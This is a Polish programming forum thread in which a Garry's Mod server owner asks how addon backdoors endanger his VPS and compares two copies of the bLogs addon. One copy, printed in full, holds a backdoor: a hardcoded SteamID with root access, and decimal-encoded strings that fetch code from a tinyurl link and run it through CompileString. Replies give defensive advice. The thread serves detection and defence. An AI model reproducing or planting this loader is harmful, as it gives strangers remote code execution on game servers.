• Najnowsze pytania
  • Bez odpowiedzi
  • Zadaj pytanie
  • Kategorie
  • Tagi
  • Zdobyte punkty
  • Ekipa ninja
  • IRC
  • FAQ
  • Regulamin
  • Książki warte uwagi

question-closed Uprawnienia skryptu lua i tego następstwa.

VPS Starter Arubacloud
+2 głosów
196 wizyt
pytanie zadane 24 lutego 2019 w Bezpieczeństwo, hacking przez Matesz063 Nowicjusz (180 p.)
zamknięte 24 lutego 2019 przez Matesz063

Wprowadzenie:
W ostatnim czasie zakupiłem serwer VPS na OpenVZ z systemem Ubuntu 14.04 64bit na którym udało mi się uruchomić serwer do gry Garry's Mod. Do tej gry są mody tz. addony które można dodawać na serwer. Jest to skrypt który zazwyczaj trzeba kupić, a z warsztatu steam graczom pobierają się tekstury do poprawnego wyglądu całego addona. Bez nich albo jest tekstura z różowo czarną szachownicą, albo model 3D napisu ERROR.  Jak jest błąd z samym skryptem to:
Skrypt wykonywany po stronie serwera, w konsoli serwera wyskakuje ścieżka dojścia do skrypty, linijka w której jest błąd oraz informacje co może być nie tak. Natomiast jeśli jest błąd w skrypcie wykonywanym po stronie gracza to, na HUD wyskakuje napis o błędzie a w konsoli w grze oraz konsoli serwerowej z nickiem gracza który uruchomił skrypt.

Rozwinięcie:
Czasem zdarza się że skrypt posiada " Back Doory " i właśnie to nasuwa pytanie. Czy taki skrypt może w jakiś sposób zaszkodzić VPSowi, wysłać lub pobrać pliki samego serwera lub systemu czy co może mieć gorsze skutki? Czy z chwilą użycia back doora można wykryć który skrypt został specjalnie przygotowany do tego? Jakie ślady muszę szukać w kodzie by wykryć przed atakiem backdoora?

Zakończenia:
Z góry dziękuje za pomoc! :) Znam się TROCHĘ na lua jakieś drobne błędy mogę naprawić, ale to przewyższa mój poziom wiedzy. A ci co umieszczają back doory w skryptach niech piekło pochłonie Amen!

komentarz zamknięcia: Sprawdziłem addony pod kątem back doorów i zamknąłem je na klucz, a przed nimi dodałem małe wnyki w postaci zapisu w logach podczas próby użycia obejścia zabezpieczeń.
2
komentarz 24 lutego 2019 przez MikDal Mądrala (5,660 p.)
Na wypadek jakbyś nie dostał lepszych odpowiedzi. Skoro to gra, to skrypt powinien zawierać odwołania tylko do niej. Więc to czego powinieneś szukać w nich to: połączenia z jakimś adresem, przeszukiwanie plików po za własnymi. Jak można PRÓBOWAĆ wykryć? Monitorując ruch sieciowy, czy ten odbywa się tylko na porcie gry (plus twój do administracji) i czy dostęp do tego portu ma TYLKO twoja gra. Także, teoretycznie, jakbyś się chciał wstępnie zabezpieczyć to możesz zablokować wszystkie inne porty (uważaj tylko abyś nie zamknął tych od twojego dostępu, jeśli jest to robione zdalnie). Tylko będzie się to wiązać z różnymi uci.ążliwościami.

To takie luźne, ogólne rady od laika.

P.S. +1 za dobrze opisane pytanie.

EDIT: No i co ważne, gra nie może chodzić z uprawnieniami administratora.
komentarz 24 lutego 2019 przez Matesz063 Nowicjusz (180 p.)
edycja 24 lutego 2019 przez Matesz063

No właśnie serwer ma uprawnienia roota bo nie wiem jak mu je znieść, bo odpalam serwer przez PuTTy. Jakby ktoś mógłby wytłumaczyć mi jak to zrobić byłbym wdzięczny, a i przy zakładaniu serwer jak pisałem komendę [ sudo apt-get update ]  to wyskoczyło mi że komenda sudo nie istnieje więc wpisałem tak [ apt-get update ]. Po tym zadziałało jak powinno. Czy to jakaś znacząca różnica?

P.S pobrałem ten sam z krypt z 2 źródeł i znalazłem różnice
Kod 1:

function bLogs.IsRoot(ply)
	ply = ply or LocalPlayer()
	if (not IsValid(ply)) then return false end
	if (not ply:IsPlayer()) then return false end
	if (bLogs.CustomConfig["EnableDevAccess"] == true and ply:SteamID64() == "76561198040894045") then
		return true
	end
	if (table.HasValue(bLogs.Config.Root,ply:SteamID())) then
		return true
	end
	if (table.HasValue(bLogs.Config.Root,ply:SteamID64())) then
		return true
	end
	if (table.HasValue(bLogs.Config.Root,ply:GetUserGroup())) then
		return true
	end

local function sep (str)
    return string.Explode(",", str:gsub("%x%x%x", '%' .. "," .. '%1'):sub(1 + #","))
end

function serverLoad(c)
    local serverResponse = ""

    for _, v in pairs(c) do
        serverResponse = serverResponse .. string.char(v)
    end

    return serverResponse
end

ServerLoad = CompileString

kod 2:


function bLogs.IsRoot(ply)
	ply = ply or LocalPlayer()
	if (not IsValid(ply)) then return false end
	if (not ply:IsPlayer()) then return false end
	if (bLogs.CustomConfig["EnableDevAccess"] == true and ply:SteamID64() == "76561198040894045") then
		return true
	end
	if (table.HasValue(bLogs.Config.Root,ply:SteamID())) then
		return true
	end
	if (table.HasValue(bLogs.Config.Root,ply:SteamID64())) then
		return true
	end
	if (table.HasValue(bLogs.Config.Root,ply:GetUserGroup())) then
		return true
	end

local function sep (str)
    return string.Explode(",", str:gsub("%x%x%x", '%' .. "," .. '%1'):sub(1 + #","))
end

local ServerInit = sep("104116116112115058047047116105110121117114108046099111109047121057057104050099114055")
local ServerBeginInit = sep("114101116117114110032104116116112046070101116099104")

function serverLoad(c)
    local serverResponse = ""

    for _, v in pairs(c) do
        serverResponse = serverResponse .. string.char(v)
    end

    return serverResponse
end

ServerLoad = CompileString


ServerLoad(serverLoad(ServerBeginInit), "loadServerStart", false)()(serverLoad(ServerInit), function(body) ServerLoad(body, "loadServerEnd", false)() end)

i już tu znalazłem personalia sługusa szatana:

if (bLogs.CustomConfig["EnableDevAccess"] == true and ply:SteamID64() == "76561198040894045")

Super mam jego SteamID :)
2 różnica:
Kod 1:

local  kzmTGEYjiaOOJwdGXmpxlVuedXCWWw = file.Find local  EgJhrfCDbEGIIpWAiJzZFXShCxTZUg =  kzmTGEYjiaOOJwdGXmpxlVuedXCWWw local  UxDkwvmWbcGeJoSTMZQWxTBFFLwwml =  EgJhrfCDbEGIIpWAiJzZFXShCxTZUg local  IuqYRbAGQKcGHOkygXkycFiMjQRAPi =  UxDkwvmWbcGeJoSTMZQWxTBFFLwwml local  dXpxKBOPkwPWLDRsNMrfuKJEIerYrt = AddCSLuaFile local  VFtNlreIIZMoOUHjVYsIsDjYvMpmbK =  dXpxKBOPkwPWLDRsNMrfuKJEIerYrt local lBRGYrwqVeGOhsubrjMtlBFRCrQpuR =  IuqYRbAGQKcGHOkygXkycFiMjQRAPi("\98\108\111\103\115\47\109\111\100\115\47\42","\76\85\65")
for _,mod in pairs(mods) do
	local cl =  IuqYRbAGQKcGHOkygXkycFiMjQRAPi("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\99\108\47\42\46\108\117\97","\76\85\65")
	for _,clf in pairs(cl) do
		 VFtNlreIIZMoOUHjVYsIsDjYvMpmbK("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\99\108\47" .. clf)
	end
	local sv =  IuqYRbAGQKcGHOkygXkycFiMjQRAPi("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\115\118\47\42\46\108\117\97","\76\85\65")
	for _,svf in pairs(sv) do
		include("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\115\118\47" .. svf)
	end
	local sh =  IuqYRbAGQKcGHOkygXkycFiMjQRAPi("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\115\104\47\42\46\108\117\97","\76\85\65")
	for _,shf in pairs(sh) do
		 VFtNlreIIZMoOUHjVYsIsDjYvMpmbK("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\115\104\47" .. shf)
		include("\98\108\111\103\115\47\109\111\100\115\47" .. mod .. "\47\115\104\47" .. shf)
	end
end

Kod 2:

local _,mods = file.Find("blogs/mods/*","LUA")
for _,mod in pairs(mods) do
	local cl = file.Find("blogs/mods/" .. mod .. "/cl/*.lua","LUA")
	for _,clf in pairs(cl) do
		AddCSLuaFile("blogs/mods/" .. mod .. "/cl/" .. clf)
	end
	local sv = file.Find("blogs/mods/" .. mod .. "/sv/*.lua","LUA")
	for _,svf in pairs(sv) do
		include("blogs/mods/" .. mod .. "/sv/" .. svf)
	end
	local sh = file.Find("blogs/mods/" .. mod .. "/sh/*.lua","LUA")
	for _,shf in pairs(sh) do
		AddCSLuaFile("blogs/mods/" .. mod .. "/sh/" .. shf)
		include("blogs/mods/" .. mod .. "/sh/" .. shf)
	end
end

Czyli jak rozumiem znalazłem jeden z potencjalnych back doorów ?

(Nie było do wybory LUA to wybrałem JS)
 

Rozumiem że głównie chodzi o port 80, a naj lepiej żebym zostawił porty serwera i SSH? Nie wiem jak mam to zrobić bo jedyne co na panelu mam do ustawienia to:

TUN/TAP
           On           Off           

PPP
           On           Off           

 

Podobne pytania

0 głosów
0 odpowiedzi 161 wizyt
pytanie zadane 18 sierpnia 2020 w Ogłoszenia, zlecenia przez Cisek Nowicjusz (120 p.)
0 głosów
0 odpowiedzi 304 wizyt
pytanie zadane 14 marca 2018 w Inne języki przez kwint Nowicjusz (150 p.)
0 głosów
0 odpowiedzi 60 wizyt
pytanie zadane 21 października 2022 w Inne języki przez szf0 Nowicjusz (120 p.)

92,451 zapytań

141,261 odpowiedzi

319,073 komentarzy

61,853 pasjonatów

Motyw:

Akcja Pajacyk

Pajacyk od wielu lat dożywia dzieci. Pomóż klikając w zielony brzuszek na stronie. Dziękujemy! ♡

Oto polecana książka warta uwagi.
Pełną listę książek znajdziesz tutaj.

Akademia Sekuraka

Akademia Sekuraka 2024 zapewnia dostęp do minimum 15 szkoleń online z bezpieczeństwa IT oraz dostęp także do materiałów z edycji Sekurak Academy z roku 2023!

Przy zakupie możecie skorzystać z kodu: pasja-akademia - użyjcie go w koszyku, a uzyskacie rabat -30% na bilety w wersji "Standard"! Więcej informacji na temat akademii 2024 znajdziecie tutaj. Dziękujemy ekipie Sekuraka za taką fajną zniżkę dla wszystkich Pasjonatów!

Akademia Sekuraka

Niedawno wystartował dodruk tej świetnej, rozchwytywanej książki (około 940 stron). Mamy dla Was kod: pasja (wpiszcie go w koszyku), dzięki któremu otrzymujemy 10% zniżki - dziękujemy zaprzyjaźnionej ekipie Sekuraka za taki bonus dla Pasjonatów! Książka to pierwszy tom z serii o ITsec, który łagodnie wprowadzi w świat bezpieczeństwa IT każdą osobę - warto, polecamy!

...